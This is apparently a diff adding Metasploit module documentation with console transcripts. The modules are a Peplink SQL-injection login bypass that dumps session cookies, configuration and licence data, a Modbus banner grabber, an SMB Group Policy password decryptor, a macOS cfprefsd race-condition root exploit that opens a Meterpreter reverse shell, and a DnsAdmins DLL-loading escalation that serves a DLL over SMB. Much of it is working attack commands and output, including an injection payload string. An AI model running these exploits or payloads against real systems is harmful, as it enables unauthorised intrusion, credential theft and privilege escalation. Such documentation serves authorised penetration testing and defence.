[+] Target seems vulnerable
|
||||
[*] There are 2 (possibly expired) sessions
|
||||
[*] Trying the ids from the most recent login
|
||||
[+] Found cookie wPJLPS6lqt8Ushwz1tlmz5tRbvI1ybwWRaBx2GRi3Qcu8, username = user, with read-only permissions
|
||||
[+] Found cookie aLvFyqho3JYoYSc7EROYWU5A7c4pz9IwV66mvnIzYwMPr, username = admin, with read/write permissions
|
||||
[*] Checking for admin cookie : wPJLPS6lqt8Ushwz1tlmz5tRbvI1ybwWRaBx2GRi3Qcu8
|
||||
[*] Checking for admin cookie : aLvFyqho3JYoYSc7EROYWU5A7c4pz9IwV66mvnIzYwMPr
|
||||
|
||||
... <as above, gathering of data>
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(sqli/peplink_bauth_sqli) >
|
||||
```
|
||||
|
||||
Verbose:
|
||||
|
||||
When you enable verbose, you get the parsed XML document displayed.
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/peplink_bauth_sqli) > set Verbose true
|
||||
msf5 auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true
|
||||
msf5 auxiliary(gather/peplink_bauth_sqli) > run
|
||||
[*] Running module against 192.168.1.254
|
||||
|
||||
[+] Target seems to be vulnerable
|
||||
[*] Checking for admin cookie : ' or id IN (select s.id from sessions as s left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--
|
||||
[+] Retrieved config, saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkconfigur_780974.bin
|
||||
[*] Retrieving fhlicense_info
|
||||
[+] data
|
||||
[+] license
|
||||
[+] bandwidth
|
||||
[+] 0
|
||||
[+] sessions
|
||||
[+] 0
|
||||
[+] err_desc
|
||||
[+] Virtual machine server changed.
|
||||
[+] force_lic_page
|
||||
[+] 1
|
||||
[+] activated
|
||||
[+] 0
|
||||
[+] vm_server_address
|
||||
[+] expired
|
||||
[+] 0
|
||||
[+] license_type
|
||||
[+] Invalid
|
||||
[+] expiry_date
|
||||
[+] 2021-08-02
|
||||
[+] sn
|
||||
[+] 1135-E8A0-DD29
|
||||
[+] license_key
|
||||
[+] YCB7EAN54FAEMTDF
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfhlicens_867800.txt
|
||||
[*] Retrieving sysinfo
|
||||
[+] data
|
||||
[+] sysinfo
|
||||
[+] legal
|
||||
[+] company
|
||||
[+] Peplink
|
||||
[+] mvpn_version
|
||||
[+] 5.0.0
|
||||
[+] version
|
||||
[+] 6.3.2 build 1424
|
||||
[+] serial
|
||||
[+] 1135-E8A0-DD29
|
||||
[+] product_code
|
||||
[+] hardware_revision
|
||||
[+] 1
|
||||
[+] desc_support
|
||||
[+] product_name
|
||||
[+] Peplink FusionHub
|
||||
[+] name
|
||||
[+] 1135-E8A0-DD29
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinksysinfo_739792.txt
|
||||
[*] Retrieving macinfo
|
||||
[+] data
|
||||
[+] macinfo
|
||||
[+] port {id=0}
|
||||
[+] mac
|
||||
[+] 08:00:27:52:8b:fc
|
||||
[+] name
|
||||
[+] WAN
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkmacinfo_307720.txt
|
||||
[*] Retrieving hostnameinfo
|
||||
[+] data
|
||||
[+] hostname_info
|
||||
[+] hostname
|
||||
[+] 1135-e8a0-dd29
|
||||
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkhostname_534719.txt
|
||||
[*] Retrieving uptime
|
||||
[+] data
|
||||
[+] subscription_mode
|
||||
[+] systime
|
||||
[+] Sun Aug 02 14:31:21 CET 2020
|
||||
[+] uptime
|
||||
[+] elapsed
|
||||
[+] 2986
|
||||
[+] info
|
||||
[+] 0 days 0 hours 49 minutes
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkuptime_233915.txt
|
||||
[*] Retrieving client_info
|
||||
[+] data
|
||||
[+] client_status
|
||||
[+] reserved_mac
|
||||
[+] client_list
|
||||
[+] client {type=0}
|
||||
[+] rate_down
|
||||
[+] 0
|
||||
[+] rate_up
|
||||
[+] 0
|
||||
[+] active
|
||||
[+] mac
|
||||
[+] 10:08:B1:CC:97:41
|
||||
[+] ip {id=0}
|
||||
[+] 192.168.1.222
|
||||
[+] ipn
|
||||
[+] 3232235998
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkclient_i_419158.txt
|
||||
[*] Retrieving hubport
|
||||
[+] data
|
||||
[+] port {id=wan}
|
||||
[+] mvpn_advertise_wan_network
|
||||
[+] tcpmss
|
||||
[+] mtu
|
||||
[+] 1440
|
||||
[+] pppoe_sn
|
||||
[+] pppoe_password
|
||||
[+] pppoe_user
|
||||
[+] dns_custom_servers
|
||||
[+] 8.8.8.8 1.1.1.1
|
||||
[+] dns_auto
|
||||
[+] dhcp_hostname
|
||||
[+] dhcp_client_id
|
||||
[+] mvpn_default_to_lan
|
||||
[+] gateway
|
||||
[+] 192.168.1.1
|
||||
[+] netmask
|
||||
[+] 255.255.255.0
|
||||
[+] ipaddr
|
||||
[+] 192.168.1.254
|
||||
[+] bridge_mvpn
|
||||
[+] bridge_mode
|
||||
[+] conn_method
|
||||
[+] static
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkhubport_064122.txt
|
||||
[*] Retrieving fhstroute
|
||||
[+] data
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfhstrout_739377.txt
|
||||
[*] Retrieving ipsec
|
||||
[+] data
|
||||
[+] ipsec
|
||||
[+] order
|
||||
[+] nat
|
||||
[+] linkinfo
|
||||
[+] link {id=1}
|
||||
[+] port {id=1}
|
||||
[+] port_name
|
||||
[+] WAN
|
||||
[+] port_type
|
||||
[+] ethernet
|
||||
[+] actiavted
|
||||
[+] name
|
||||
[+] WAN
|
||||
[+] enable
|
||||
[+] order
|
||||
[+] 1
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkipsec_320666.txt
|
||||
[*] Retrieving wan_summary
|
||||
[+] data
|
||||
[+] connection_info
|
||||
[+] conn {id=1}
|
||||
[+] conn_method
|
||||
[+] method
|
||||
[+] dhcp
|
||||
[+] modem_idle
|
||||
[+] timeout
|
||||
[+] 180
|
||||
[+] backup_group
|
||||
[+] 0
|
||||
[+] mvpn_nat
|
||||
[+] nat
|
||||
[+] enable
|
||||
[+] port_id
|
||||
[+] 1
|
||||
[+] name
|
||||
[+] WAN
|
||||
[+] order
|
||||
[+] 1
|
||||
[+] physical_info
|
||||
[+] port {id=1}
|
||||
[+] ethernet_info
|
||||
[+] simulated_mac
|
||||
[+] default_mac
|
||||
[+] mac_clone
|
||||
[+] mtu
|
||||
[+] advertise
|
||||
[+] speed
|
||||
[+] port_name
|
||||
[+] WAN
|
||||
[+] type
|
||||
[+] ethernet
|
||||
[+] activated
|
||||
[+] yes
|
||||
[+] count
|
||||
[+] 1
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkwan_summ_918579.txt
|
||||
[*] Retrieving firewall
|
||||
[+] data
|
||||
[+] firewall_ids
|
||||
[+] firewall_mvpn
|
||||
[+] private_firewall
|
||||
[+] default
|
||||
[+] accept
|
||||
[+] outbound_firewall
|
||||
[+] default
|
||||
[+] accept
|
||||
[+] inbound_firewall
|
||||
[+] default
|
||||
[+] accept
|
||||
[+] linkinfo
|
||||
[+] link {id=1}
|
||||
[+] port {id=1}
|
||||
[+] port_name
|
||||
[+] WAN
|
||||
[+] port_type
|
||||
[+] ethernet
|
||||
[+] actiavted
|
||||
[+] name
|
||||
[+] WAN
|
||||
[+] enable
|
||||
[+] order
|
||||
[+] 1
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfirewall_758402.txt
|
||||
[*] Retrieving cert_info
|
||||
[+] data
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkcert_inf_603637.txt
|
||||
[*] Retrieving mvpn_summary
|
||||
[+] data
|
||||
[+] mvpn
|
||||
[+] order
|
||||
[+] mvpn_nat_mode_dhcp_server
|
||||
[+] has_nat_profile
|
||||
[+] 0
|
||||
[+] nat_remote
|
||||
[+] 0
|
||||
[+] subnet_mask
|
||||
[+] 24
|
||||
[+] pool_end
|
||||
[+] 169.254.131.254
|
||||
[+] pool_start
|
||||
[+] 169.254.131.1
|
||||
[+] enable
|
||||
[+] 1
|
||||
[+] restrict_advertise
|
||||
[+] no
|
||||
[+] hc_mode
|
||||
[+] 0
|
||||
[+] rn
|
||||
[+] 1135-E8A0-DD29
|
||||
[+] site_id
|
||||
[+] 333
|
||||
[+] l2vpn
|
||||
[+] wanport_supported
|
||||
[+] false
|
||||
[+] wanport_name
|
||||
[+] WAN Port Unavailable
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkmvpn_sum_970830.txt
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/peplink_bauth_sqli) >
|
||||
```
|
||||
|
||||
Loot:
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/peplink_bauth_sqli) > loot
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
192.168.1.254 peplink configuration tar gz application/binary /home/redouane/.msf4/loot/20200802153714_default_192.168.1.254_peplinkconfigur_157106.bin
|
||||
192.168.1.254 peplink fhlicense_info text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfhlicens_326973.txt
|
||||
192.168.1.254 peplink sysinfo text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinksysinfo_385353.txt
|
||||
192.168.1.254 peplink macinfo text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkmacinfo_525407.txt
|
||||
192.168.1.254 peplink hostnameinfo text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkhostname_613045.txt
|
||||
192.168.1.254 peplink uptime text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkuptime_488261.txt
|
||||
192.168.1.254 peplink client_info text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkclient_i_529454.txt
|
||||
192.168.1.254 peplink hubport text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkhubport_938262.txt
|
||||
192.168.1.254 peplink fhstroute text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfhstrout_737113.txt
|
||||
192.168.1.254 peplink ipsec text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkipsec_055562.txt
|
||||
192.168.1.254 peplink wan_summary text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkwan_summ_957693.txt
|
||||
192.168.1.254 peplink firewall text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfirewall_777226.txt
|
||||
192.168.1.254 peplink cert_info text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkcert_inf_765605.txt
|
||||
192.168.1.254 peplink mvpn_summary text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkmvpn_sum_890141.txt
|
||||
|
||||
msf5 auxiliary(gather/peplink_bauth_sqli) >
|
||||
|
||||
```
|
||||
@@ -0,0 +1,98 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will perform banner grabbing on devices that use the Modbus protocol by sending
|
||||
a payload with the function code 43 to read the target device's identification information.
|
||||
For more technical information, you can refer to this link: https://en.wikipedia.org/wiki/Modbus#Available_function/command_codes.
|
||||
|
||||
By default the service is running on port 502, so any device with this port open could be a potential target.
|
||||
|
||||
## Verification Steps
|
||||
1. Do: `use auxiliary/scanner/scada/modbus_banner_grabbing`
|
||||
2. Do: `set RHOST <IP>` where IP is the IP address of the target.
|
||||
3. Do: `run`
|
||||
|
||||
The response from the target device may contain several objects. Some of these objects can be seen below:
|
||||
|
||||
`vendor name, product code, revision number (in *major version*.*minor version* format), vendor url, product name, model name`
|
||||
|
||||
If the target was unable to process the Modbus message, a Modbus exception message will be returned from the target,
|
||||
which will then be output to the screen.
|
||||
|
||||
Successful results from the scan will be stored as a `note` in the framework. You can access these notes by typing `note` in the console.
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/scada/modbus_banner_grabbing) > notes
|
||||
|
||||
Notes
|
||||
=====
|
||||
|
||||
Time Host Service Port Protocol Type Data
|
||||
---- ---- ------- ---- -------- ---- ----
|
||||
2020-07-06 13:25:50 UTC 192.168.1.1 modbus 502 tcp modbus.vendorname "Schneider Electric"
|
||||
2020-07-06 13:25:50 UTC 192.168.1.1 modbus 502 tcp modbus.productcode "BMX NOE 0100"
|
||||
2020-07-06 13:25:50 UTC 192.168.1.1 modbus 502 tcp modbus.revision "V3.10"
|
||||
```
|
||||
|
||||
## Options
|
||||
There are no non-default options for this module.
|
||||
|
||||
## Scenarios
|
||||
The following scenarios describe some of the responses you may receive from the target:
|
||||
|
||||
### Schneider Electric BMX NOE 0100 - Successful Response
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing
|
||||
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.1
|
||||
RHOSTS => 192.168.1.1
|
||||
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run
|
||||
|
||||
[*] 192.168.1.1:502 - Number of Objects: 3
|
||||
[+] 192.168.1.1:502 - VendorName: Schneider Electric
|
||||
[+] 192.168.1.1:502 - ProductCode: BMX NOE 0100
|
||||
[+] 192.168.1.1:502 - Revision: V3.10
|
||||
[*] 192.168.1.1:502 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Schneider Electric BMX NOE 0100 - No Reply
|
||||
The target never replied to the attacker's request.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing
|
||||
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.2
|
||||
RHOSTS => 192.168.1.2
|
||||
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run
|
||||
|
||||
[-] 192.168.1.2:502 - MODBUS - No reply
|
||||
[*] 192.168.1.2:502 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Schneider Electric BMX NOE 0100 - Network Error
|
||||
Some network error occurred, such as a connection error, a network timeout, or the connection was refused.
|
||||
Alternatively, the host may be unreachable.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing
|
||||
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.3
|
||||
RHOSTS => 192.168.1.3
|
||||
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run
|
||||
|
||||
[-] 192.168.1.3:502 - MODBUS - Network error during payload: The connection timed out (217.71.253.52:502).
|
||||
[*] 192.168.1.3:502 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Schneider Electric BMX NOE 0100 - Modbus Exception Code (i.e. Memory Parity Error)
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing
|
||||
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.4
|
||||
RHOSTS => 192.168.1.4
|
||||
msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run
|
||||
|
||||
[-] 192.168.1.4:502 - Memory Parity Error: Slave detected a parity error in memory.
|
||||
[*] 192.168.1.4:502 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,77 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module enumerates files from target domain controllers and connects to them via SMB. It then looks for Group Policy
|
||||
Preference XML files containing local/domain user accounts and passwords and decrypts them using Microsoft's public AES
|
||||
key. This module has been tested successfully on a Win2k8 R2 Domain Controller.
|
||||
|
||||
### Test Environment
|
||||
|
||||
This vulnerability was patched in 2014 but Group Policy Prefence files can still be found in modern environments. Because of that it is
|
||||
necessary to have a means to test this vulnerability in a contrived way.
|
||||
|
||||
Starting from a Windows Server that has been configured as an Active Directory Domain Controller:
|
||||
1. Navigate to: `%SystemRoot%\SYSVOL\sysvol\$domain\Policies` where `$domain` is the name of the domain.
|
||||
1. Create a subfolder. These folders typically use UUIDs within braces (e.g. `{31B2F340-016D-11D2-945F-00C04FB984F9}`) but the name does not
|
||||
matter for testing purposes.
|
||||
1. In the new a new file (and the necessary parent folders) `MACHINE\Preferences\Groups\Groups.xml`.
|
||||
1. Place the contents below in the new `Groups.xml` file.
|
||||
|
||||
```
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
|
||||
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="SuperSecretBackdoor" image="0" changed="2013-04-25 18:36:07" uid="{B5EDB865-34F5-4BD7-9C59-3AEB1C7A68C3}">
|
||||
<Properties action="C" fullName="" description="" cpassword="VBQUNbDhuVti3/GHTGHPvcno2vH3y8e8m1qALVO1H3T0rdkr2rub1smfTtqRBRI3" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="SuperSecretBackdoor"/>
|
||||
</User>
|
||||
</Groups>
|
||||
```
|
||||
|
||||
This example XML data was taken from the unit test.
|
||||
|
||||
## Verification Steps
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/scanner/smb/smb_enum_gpp`
|
||||
1. Do: `set RHOSTS ...`
|
||||
1. Do: `set SMBUser ...`
|
||||
1. Do: `set SMBPass ...`
|
||||
1. Do: `run`
|
||||
|
||||
### Windows Server 2019 (Test Setup)
|
||||
|
||||
The following example use the contrived setup from the "Test Environment" section.
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/smb/smb_enum_gpp) > use auxiliary/scanner/smb/smb_enum_gpp
|
||||
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBUSER smcintyre
|
||||
SMBUSER => smcintyre
|
||||
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBPass Password1
|
||||
SMBPass => Password1
|
||||
msf6 auxiliary(scanner/smb/smb_enum_gpp) > run
|
||||
|
||||
[*] 192.168.159.10:445 - Connecting to the server...
|
||||
[*] 192.168.159.10:445 - Mounting the remote share \\192.168.159.10\SYSVOL'...
|
||||
[+] 192.168.159.10:445 - Found Policy Share on 192.168.159.10
|
||||
[*] 192.168.159.10:445 - Parsing file: \\192.168.159.10\SYSVOL\msflab.local\Policies\fake\MACHINE\Preferences\Groups\Groups.xml
|
||||
[+] 192.168.159.10:445 - Group Policy Credential Info
|
||||
============================
|
||||
|
||||
Name Value
|
||||
---- -----
|
||||
TYPE Groups.xml
|
||||
USERNAME SuperSecretBackdoor
|
||||
PASSWORD Super!!!Password
|
||||
DOMAIN CONTROLLER 192.168.159.10
|
||||
DOMAIN msflab.local
|
||||
CHANGED 2013-04-25 18:36:07
|
||||
NEVER_EXPIRES? 1
|
||||
DISABLED 0
|
||||
|
||||
[+] 192.168.159.10:445 - XML file saved to: /home/smcintyre/.msf4/loot/20200828163158_default_192.168.159.10_microsoft.window_053830.txt
|
||||
[+] 192.168.159.10:445 - Groups.xml saved as: /home/smcintyre/.msf4/loot/20200828163158_default_192.168.159.10_smb.shares.file_279441.xml
|
||||
[*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/smb/smb_enum_gpp) >
|
||||
```
|
||||
@@ -0,0 +1,70 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in
|
||||
order to run a payload as root. The CFPreferencesSetAppValue function, which is
|
||||
reachable from most unsandboxed processes, can be exploited with a race condition
|
||||
in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login
|
||||
a user can then login as root with the `login root` command without a password.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Get a session on a vulnerable system
|
||||
2. `use exploit/osx/local/cfprefsd_race_condition`
|
||||
3. `set lhost <IP>`
|
||||
4. `set lport <PORT>`
|
||||
5. `set session <session_id>`
|
||||
6. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### macOS Catalina 10.15.4
|
||||
|
||||
```
|
||||
msf6 exploit(multi/handler) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 meterpreter x64/osx user @ Users-Macbook-Pro.local (uid=501, gid=20, euid=501, egid=20) @ Users-M... 192.168.56.1:4444 -> 192.168.56.4:49451 (192.168.56.4)
|
||||
|
||||
msf6 exploit(multi/handler) > use exploit/osx/local/cfprefsd_race_condition
|
||||
[*] Using configured payload osx/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(osx/local/cfprefsd_race_condition) > set LHOST 192.168.56.1
|
||||
LHOST => 192.168.56.1
|
||||
msf6 exploit(osx/local/cfprefsd_race_condition) > set LPORT 5555
|
||||
LPORT => 5555
|
||||
msf6 exploit(osx/local/cfprefsd_race_condition) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf6 exploit(osx/local/cfprefsd_race_condition) > exploit
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 192.168.56.1:5555
|
||||
[*] Executing automatic check (disable AutoCheck to override)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Writing '/tmp/.Ug0wUz4HX6' (17204 bytes) ...
|
||||
[*] Writing '/tmp/.qZy9vVNU' (14748 bytes) ...
|
||||
[*] Executing exploit '/tmp/.qZy9vVNU /etc/pam.d/login'
|
||||
[*] Exploit result:
|
||||
Trying 10000 calls...
|
||||
access: Permission denied
|
||||
pwned! /etc/pam.d/login is now writable!
|
||||
[*] Running cmd:
|
||||
echo '/tmp/.Ug0wUz4HX6 & disown' | login root
|
||||
[*] Transmitting first stager...(210 bytes)
|
||||
[*] Command output:
|
||||
Last login: Tue Aug 18 09:56:20 on tty??
|
||||
[*] Transmitting second stager...(8192 bytes)
|
||||
[*] Sending stage (799916 bytes) to 192.168.56.4
|
||||
[*] Meterpreter session 2 opened (192.168.56.1:5555 -> 192.168.56.4:49452) at 2020-09-04 17:36:45 +0800
|
||||
|
||||
meterpreter >
|
||||
[+] /etc/pam.d/login was restored
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root @ Users-Macbook-Pro.local (uid=0, gid=0, euid=0, egid=0)
|
||||
|
||||
```
|
||||
|
||||
@@ -0,0 +1,348 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Windows Server 2003 and above
|
||||
|
||||
#### Introduction
|
||||
This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the
|
||||
`ServerLevelPluginDll` value using dnscmd.exe to create a registry key at
|
||||
`HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\` named `ServerLevelPluginDll` that can be
|
||||
made to point to an arbitrary DLL. Restarting the DNS service will then result in the attacker's DLL
|
||||
being loaded and executed as the SYSTEM user, thereby granting the attacker SYSTEM privileges.
|
||||
|
||||
Note that if the option to drop the DLL file on the host is selected (instead of the option to use a UNC path), there is a possibility
|
||||
that antivirus may detect the DLL file and remove it. In this case it will not be possible to restart the DNS service via the
|
||||
Service Manager without first clearing out the `ServerLevelPluginDll` value of the
|
||||
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`
|
||||
key using an account with administrator privileges.
|
||||
|
||||
To avoid the potential of this occurring, this module has a configurable option, `AVTIMEOUT`, which allows users to configure
|
||||
how long they would like to wait for any potential AV to pick up on the file after which the module will then check to
|
||||
ensure the dropped DLL file exists prior to creating the `ServerLevelPluginDll` value within the
|
||||
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key.
|
||||
|
||||
It should also be noted that the UNC path option may run into a similar issue if an incorrect IP address is typed in, so users should
|
||||
be especially careful when setting the value of `DLLPATH` to ensure that they don't inadvertently set an incorrect IP address and thereby
|
||||
prevent the DNS server from being able to restart.
|
||||
|
||||
This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows
|
||||
Server version up to and including Windows Server 2019.
|
||||
|
||||
### Setup Steps (Windows Server 2019 Standard)
|
||||
1. Install Windows Server 2019 Standard with GUI
|
||||
2. Install and configure Active Directory Domain Services and DNS services.
|
||||
3. Promote the server to a domain controller once the initial setup wizard is
|
||||
complete. This will complete the setup of the AD.
|
||||
4. Reboot
|
||||
5. Add a new user which I called normal and set its password to a long string such as
|
||||
`thisIsADamnGoodPassword123!`. Don't use any other special characters or you may end up
|
||||
violating the default password policy.
|
||||
6. Add this new user to two groups: `DnsAdmins` (should have been created with the installation of
|
||||
the DNS server and the AD Server), and `Remote Desktop Users`.
|
||||
See https://www.snel.com/support/create-user-and-allow-rdp-permission-on-windows-server-2016/ for info
|
||||
on how to do this.
|
||||
7. To go `Group Policy Management -> Forest -> Domains -> *your domain name* -> Domain Controllers ->
|
||||
Default Domain Controllers Policy` and right click on it, then select Edit. From here select Policies ->
|
||||
Windows Settings -> Security Settings -> Local Policies -> User Right Managements and then select
|
||||
the Allow log on locally policy underneath this and double click on it. Ensure the Define these
|
||||
policy settings option is checked, and then select Add User or Group and add in the name of the
|
||||
user that you just created. It should look something in the format of *domain name*\*user name*.
|
||||
Then click Apply and click OK.
|
||||
8. Run gpupdate again.
|
||||
9. Reboot
|
||||
10. You should now be able to log in as the new user, which should also be in the DnsAdmins group.
|
||||
You can confirm this by running `net localgroup DnsAdmins` and confirming that the new user is
|
||||
listed as a member of this group in the output returned.
|
||||
11. Run `wmic useraccount where name='*username of the new account*'` to get the SID of the
|
||||
new account that you added in earlier.
|
||||
12. Run `sc sdset "DNS" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CR;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;RPWPDTLO;;;S-x-x-xx-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx-xxxx)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)`
|
||||
in an elevated command prompt replacing the sample SID with the SID obtained via the earlier command
|
||||
(aka the SID of the new low privileged user you added).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Get a Meterpreter shell
|
||||
2. `use exploit/windows/local/dnsadmin_serverlevelplugindll`
|
||||
3. `set PAYLOAD <payload>`. Payload architecture must be the same as the target system
|
||||
4. `set LHOST <lhost>`
|
||||
5. `set LPORT <lport>`
|
||||
6. `set SESSION <session_no>` to specify session
|
||||
7. `set DLLNAME <dllname>` if you want to name your DLL something other than `msf.dll`
|
||||
8. `set DLLPATH <dllpath>` if you want to place your DLL somewhere other than `%TEMP%` or if you want to use a UNC path
|
||||
9. `set MAKEDLL true` if you want to just make the DLL, and not carry out the exploit
|
||||
10. `exploit` to get SYSTEM shell if `MAKEDLL` is set to `false`, or to write
|
||||
the DLL to the `~/.msf4/local` folder if `MAKEDLL` is set to `true`
|
||||
|
||||
## Options
|
||||
|
||||
### DLLNAME
|
||||
Name of the DLL to use.
|
||||
|
||||
### DLLPATH
|
||||
Location of the DLL to use. If a UNC path is provided, the module will assume that the operator
|
||||
has already performed the following actions:
|
||||
1. Set up a working SMB2 share (via a tool such as Impacket's `smbserver.py` via a command such as
|
||||
`sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/`
|
||||
2. Created a DLL of the same architecture as the target system and placed in within this share.
|
||||
|
||||
### MAKEDLL
|
||||
If set to `true`, then just create the DLL, do not conduct the full exploit.
|
||||
The resulting DLL will be stored in the `~/.msf4/local` directory.
|
||||
|
||||
### AVTIMEOUT
|
||||
Time, in seconds, to wait for any AV on the target system to potentially pick up on the
|
||||
dropped DLL file, prior to the module checking to see if the DLL file still exists. This
|
||||
is needed to prevent a scenario where the DLL file gets removed and the module tries to make
|
||||
changes that could prevent the DNS server from being able to start.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2019 Standard x64, writing `msf.dll` to `%TEMP%`
|
||||
```
|
||||
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
|
||||
s[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
|
||||
|
||||
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
|
||||
DLLNAME msf.dll yes DLL name (default: msf.dll)
|
||||
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
|
||||
MAKEDLL false yes Just create the DLL, do not exploit.
|
||||
